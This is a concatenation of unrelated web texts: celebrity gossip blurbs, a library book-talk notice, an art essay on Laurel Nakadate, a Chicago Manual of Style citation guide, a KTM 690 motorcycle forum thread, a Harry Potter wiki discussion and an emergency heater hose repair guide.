Again with the same colour. And designer this time too. Just as it was on Friday at the grey dress-off, Gwyneth Paltrow and Scarlett Johansson turned up at the Iron Man 2 premiere in Los Angeles last night both dressed in white and Armani. G was the winner then, G is the winner now. And for all the nonsense they were selling about Gwyneth being cut out of the movie, and the poster, and the franchise, Photo Assumption the body language so far on this short press tour and it's hard to argue that my G looks like the permanent player while Scarjo seems like the part-time guest. Full Story
Wholesome and wifely
Scarlett Johansson with Eva Mendes and Samuel L Jackson in Berlin promoting The Spirit. Like… where's the bombshell sexpot? Scarjo is married now. So the girls get tucked in. Instead, she's going for wholesome even though she plays a femme fatale in the film due out Christmas Day. Full Story
Knowing Pip…
He'll probably take credit for this too. Samuel L Jackson was honoured last night at the 23rd Annual American Cinematheque Awards in Beverly Hills. Pipsqueak Justin Timberlake was in attendance, smirk firmly in place, having probably convinced himself that Sam was only being recognised because they worked together on Black Snake Moan. Full Story
Hayden Has to Work
His latest film Awake opened to dismal reviews and disastrous box office numbers. Another professional embarrassment is going straight to DVD – which would actually be GOOD news. Because what was once titled The Decameron, a film Hayden Christensen shot with Mischa Barton two years ago, has now become Angels & Saints or maybe Virgin Territory and even Guilty Pleasures… and if you're cringing now of course you know what the studio must have been thinking: What a colossal waste of money. Full Story
Better Redder
I say this too often but still… Hilary Swank has two Oscars but Julianne Moore has none. What. The. Fack??? Check out Julianne newly blonde, hopefully for a movie. Hate it. Washes her out, especially when she is such an amazingly beautiful redhead. J has a beautiful smile, non? Love these shots of her giggling with the incomparable Sam Jackson at the 75th anniversary of Save the Children last night. Full Story
The Cuss Master
By no means an original thought, and probably not what we should teach our children but still… if Samuel L Jackson was presiding over a Master Class in Cussing, I'd be there in a minute. I still laugh every time I think of his "foot massage" exchange with John Travolta in Pulp Fiction. Full Story

Please join us Thursday, May 9, at 6:30 p.m., as we welcome Robert Steele for a book talk and signing of his new novel, The Curse: Big-Time Gambling's Seduction of a Small New England Town. This free event will take place in meeting room 1 on the lower level of the Main Library. No registration is necessary. Copies of the book will be available for purchase.
The Curse is a novel set against the explosion of casino gambling that hit Connecticut during the 1990s, when two Indian tribes emerged to build the world's two biggest casinos in the southeastern corner of the state. The story begins with the Pequot War in 1637, then jumps 350 years as a Connecticut family becomes embroiled in a struggle to block a third casino that threatens the family's town and ancestral home.
The lure of easy money drives everyone, from the tribe's chief to a shadowy Miami billionaire, venal politicians, and Providence mobsters, while a small, quintessential New England town must choose between preserving its character or accepting an extraordinary proposal that will change it forever.
As the battle over the casino reaches a climax, the main character discovers startling truths about his family's past-including centuries-old events that appear to be impacting the present with devastating effect.
WNPR/Connecticut Public Radio's John Dankosky calls the novel "fascinating" and Connecticut author Martin Shapiro has described it as "compelling and timely…an epic story of history, money and politics that will make you wonder where America is headed."
Robert Steele is a former Congressman and candidate for governor of Connecticut. He represented eastern Connecticut in Congress prior to the arrival of Foxwoods and Mohegan Sun, and subsequently lived for 21 years on the edge of the Mashantucket Pequot Reservation, giving him a front-row seat to the political maneuvering that led to the casinos and a first-hand view of their impact. He is currently vice chairman of an international retail marketing agency and lives with his wife in Essex, Connecticut.

StrangersBy Tallis Eng
We're out this week, but we're re-posting some of our favorite pieces from 2011 while we're away. We hope you enjoy—and have a happy New Year!
When I was in high school, the few friends I had all lived in other states—the far-flung gains of various summer camps—which meant that I took a lot of long train trips on weekends. On these rides, I developed the habit of sitting next to a very specific kind of stranger: a middle-aged man who looked lonely. The goal was to find someone who'd talk nonstop. That was how I met Tom Malone: on the train from New York to Raleigh. Over the course of the eight-hour journey, he talked about everything from his government job to his pit bull's separation anxiety. He told me he used to braid his ex-wife's hair every night, back when they were married. He explained in detail the reasons Amtrak's business model was bound to fail. He said my name a lot, and with formality: "Here's the thing, Jean," and so on.
I'd never felt safer in my life, sitting next to Tom—his belly like a life raft, and me nodding like a therapist. At one point though, he ruined the spell. He said, "You look exactly like that girl Lennon dated. What's her name."
"Yoko Ono?" I said.
"No, no, not Yoko Ono. Oh, darn it. May. May Pang? You know her? Lost weekend?" I didn't know her. And I wanted us to go back to talking about him.
About five years ago, when I first saw the work of artist Laurel Nakadate, I could have sworn that she had cast Tom in one of her videos, which feature middle-aged, sometimes overweight, mostly white men who had approached her in the street or hit on her in parking lots. In return, she'd invited them to go home with her and act out strange one-on-one scenarios in front of video cameras. We see them shaking her inert body and yelling, "Wake up! Wake up!" or performing an exorcism, or sharing a birthday cake. In a scene from I Want to Be the One to Walk in the Sun (2006), her hirsute costar strips down to his loose-fitting underpants, while she takes off everything but her bra and panties. Then, with her index finger, she traces a clockwise circle in the air over his head. It's a signal for him to spin around, which he does, while she watches, unblinking and tender. Read More

Chicago Manual of Style (CMS) format is mainly used in the humanities, especially in history. These fields of study often use primary sources (written and pictorial documents produced in the past by people living during the time period being researched). There are many types of primary sources (diaries, letters, government documents, paintings, cartoons, and oral history interviews, to name just a few examples). Because of this complexity, check with your instructor for more specific instructions about how to cite your paper's particular primary sources.
CMS documentation format presents content without parenthetical citations to sources; sources are cited within the text with superscript numbers that refer readers to one of two options for complete source information:
a) Footnotes at the bottom of the page (see CMS Format: Footnotes)
b) Endnotes collected in a NOTES page (see information below).
CMS citation generally includes a BIBLIOGRAPHY at the very end of the paper, after the NOTES page. (See CMS Format: Bibliography.) (Check with your instructor to see if you need both NOTES and a BIBLIOGRAPHY. CMS also has an alternate system of parenthetical author-date references; see CMSCh. 15.)

Mary was the last surviving child of Henry VII and Elizabeth of York. Although there is some controversy surrounding Mary Tudor's birthday, the generally accepted year of her birth seems to be 1495.[1] Growing up, Mary was close to her brother Henry VIII, five years older, and they would hold a deep respect and regard for each other throughout their lifetimes. However, that closeness would also put them at odds during Mary's second marriage.[2] As Loades explains, Mary's first marriage had been arranged with Louis XII of France, who at age 52 was desperate for a male heir, having only two daughters from his previous two marriage attempts. France's law prevented women from inheriting the throne, and if Louis failed to produce a son soon, France's next king would be Louis' son-in-law, Francis.[3] When King Louis died four months later, Mary decided to choose her own second husband.[4]

Separate names with a comma.
Discussion in 'Thumpers' started by crankshaft, Sep 6, 2011.
Anyone have an intake rocker 75036060044? Apparently there is a backorder and mine is destroyed.
Well, we plan on making a jig to be able to spit out a wiring harness. I suppose Matt could sell them to anyone that is interested and I could share my maps for a small donation. Dyno time is expensive
The plan so far is to use GM weather pack style sensors, because you can buy them anywhere and they're cheap. We're also talking about using an EV6 injector thats off the shelf and easily found for cheap $. Might even build an ethanol map for hill climbing
Intake air temp......$16
It's also a coolant temp switch!
EV1 injector....... $49 You can buy four of them for the price of one KTM injector!
Do it. I´ll pay!
I need to find a 690 manual.....
I noticed a small amount of fine dust inside of throttle body when I took my air box off. Is this un-avoidable? Or am I missing something? I have The Uni filter trimmed to fit with a nice bead of grease around the edge. Also the clamp for the boot seems to slide off the back edge every time I tighten it.
Thank you sir!
I really need to document the build up process of the 690 project, I've got lots of great ideas. Since the wiring is all getting redone, I decided to move the battery location towards the front of the bike. I've never liked the airbox, so I'm building a "rain tray" that will hold the battery, circuit breakers and of course the ECU. Going with a Shorai battery for less weight. The intake will be longer and the filter box will be where the stock battery sits. The rain tray will be easily removed to be able to work on the engine and the filter changes will be super easy. No more heat soaked airbox for me.
I was going to try a Shorai until i ran into this thread:
Good reading. I now have 2 bikes running the Antigravity batteries. Hasn't been long enough to say for sure how well they will last, but they have been flawless in both bikes so far. The cranking power is unbelievable. I had an Odyssey PC545 in my street bike, which was a big improvement over stock, but the AG is half the size and 7 lbs lighter and STILL outcranks the Odyssey.
The AG in the 690 turns the bike over a bit faster than the stock battery, but it also only weighs 2.5 lbs. Its truly hard to believe that it will work when you pull it out of the shipping box and its so light.
My only regret is that I could have used one of their small format cells instead and used the extra room in the battery tray to carry a spare tube or something.
I just did that exact same thing. Dropped it off in my R&D department and let the EE's play with it some (We do a lot of DC stuff) and they all gave it a
I read that too, but figured screw it. If the EE's didn't like it I'd just expense it and leave it there
690 rider down here had his Shorai fail at 12 months. I'm 'running' a couple of them but they've spent the better part of the last year on a charger while my leg healed.
The air box is made out of three main parts. Left, right (which is essentially a mirror of the right) and the air filter support. All parts are thermo glue together.
I had an air box changed under warranty because the air filter support was not air tight. And it was very hard to see.
I do not use grease, but zipp-seal the hold the filter in place ...
Same here. I will not install that sh... again. It's cheaper and better to loose weight on a stationary bike.
I know for sure the wiring harness is different for 2008, 2011, and 2012 models ...
Paul Jr 8
I didn't have that safety net. The big reason I think the AG batteries may last longer is that they are watertight- the Shorai is not and lithium and water don't get along. Much of what I read on failed Shorais pointed to water ingress issues. They may have fixed this now, but I don't know.
most don't, but I figured if it shits the bed on me I'm only out a couple hundred bucks, and needed to save some weight up top after adding that corbin
We do a lot of testing batteries, and I figure if this one rolls over. I'll just give them the dims and tell them to source me one so I can assist them in "testing"
Can you tell me which battery # from AG that you got for the 690?
Mine was warrenteed because of a crack. Let some dust in.
The clamp for the boot connecting the air box to the throttle body? That should not be sliding off. After a week of desert riding my uni filter was caked with dust on the outside but inside was totally dust free, so sounds like there is a problem somewhere. Just to ask the obvious, the filter has been oil treated right? They come already oiled so I am guessing yes. And those two tabs in the front of the airbox cover are sliding properly into the slots at the front of the air box. Hope you figure it out!
Not a hint of dust in mine since the change over to the RR. Loud as piss though.

I was wondering if anyone could help me. I was curious to know how many subjects an average seventh year could take.
Any help would be appreciated greatly. Thanks.
Well a student used to be able to take as many classes as they wanted... Until Dumbledores Army came in and destroyed all the time turners at the department of mysteries.
- There are twelve possible subjects at Hogwarts (Ancient Runes, Arithmancy, Astronomy, Care of Magical Creatures, Charms, Defence Against the Dark Arts, Divination, Herbology, History of Magic, Muggle Studies, Potions, and Transfiguration), but I don't think a student would be able to take all of them. Hermione took them all in her third year, but she could only accomplish that with a Time-Turner, since some classes are scheduled at the same time. Also, Time-Turners were not just handed out to any and every student so that they could take extra classes; it was implied that it was a very rare occurrence for a student to receive one, as Hermione did.
- Also, I think students have fewer classes in their sixth and seventh years, since O.W.L. results determine what N.E.W.T.-level course students can take. Harry and Ron, for instance, did not qualify for History of Magic or Divination in their sixth year. They each took a maximum of seven classes in their sixth year. Hermione, the top student in her class, qualified for 10 classes after her N.E.W.T.s, so I would guess that most students take 10 at most, but probably less. Oread 01:54, 5 December 2008 (UTC)

Emergency heater hose repair
Open your hood and let everything cool down
Don't mess with the radiator cap or anything yet! Don't touch anything until you can do so comfortably. You could get a serious burn. You might have to wait as long as 45 minutes. As the engine cools, look for splits or tears in the hoses. The telltale signs of a blown hose will be coolant splashed over the engine and under the hood. This alone doesn't mean you have a blown hose, however. It could be a faulty thermostat that caused the radiator cap to release. If the cap has a pressure-release flap that's released, your engine may have only overheated, but if the cap is intact and you can see a leak in the heater hose, you'll be able to fix it. Once the engine is cool, remove the radiator cap. Put the cap back on after the fix.
Cut out the bad section of hose
The leak may be at a fitting on the water pump or even at the heater core. If this is the case, you won't need to use the coupling; just cut the bad end off the hose, stretch the hose and reclamp it to the fitting. If the leak is along the hose, cut it at the leak and remove the bad section.
Tighten the clamps
Make sure the hose is slipped onto the coupling and tighten both clamps. Don't cowboy the hoses; they may be fragile and in need of replacement. Add water to your reservoir or radiator, or drive (no longer than 10 minutes!) to the nearest place you can get coolant. This fix isn't permanent, so make an appointment to have your hoses and coolant checked.
You're driving along running just a bit late for an appointment when steam starts belching up through the edges of the hood. Your car has just blown a heater hose and the coolant is vaporizing as it drains onto the hot engine. Well, we can't make you feel any better about what just happened, but we can help you get back on the road in a reasonable amount of time. If your car is more than 6 years old, no doubt your radiator and heater hoses have seen better days. Next time you're in the auto supply store, pick up a kit containing a heater hose coupling like the one shown and a pair of clamps. The kit doesn't cost much and is a good insurance policy. Just be sure you also carry a flashlight, a pocketknife and a set of screwdrivers (essential tools to always have on board).
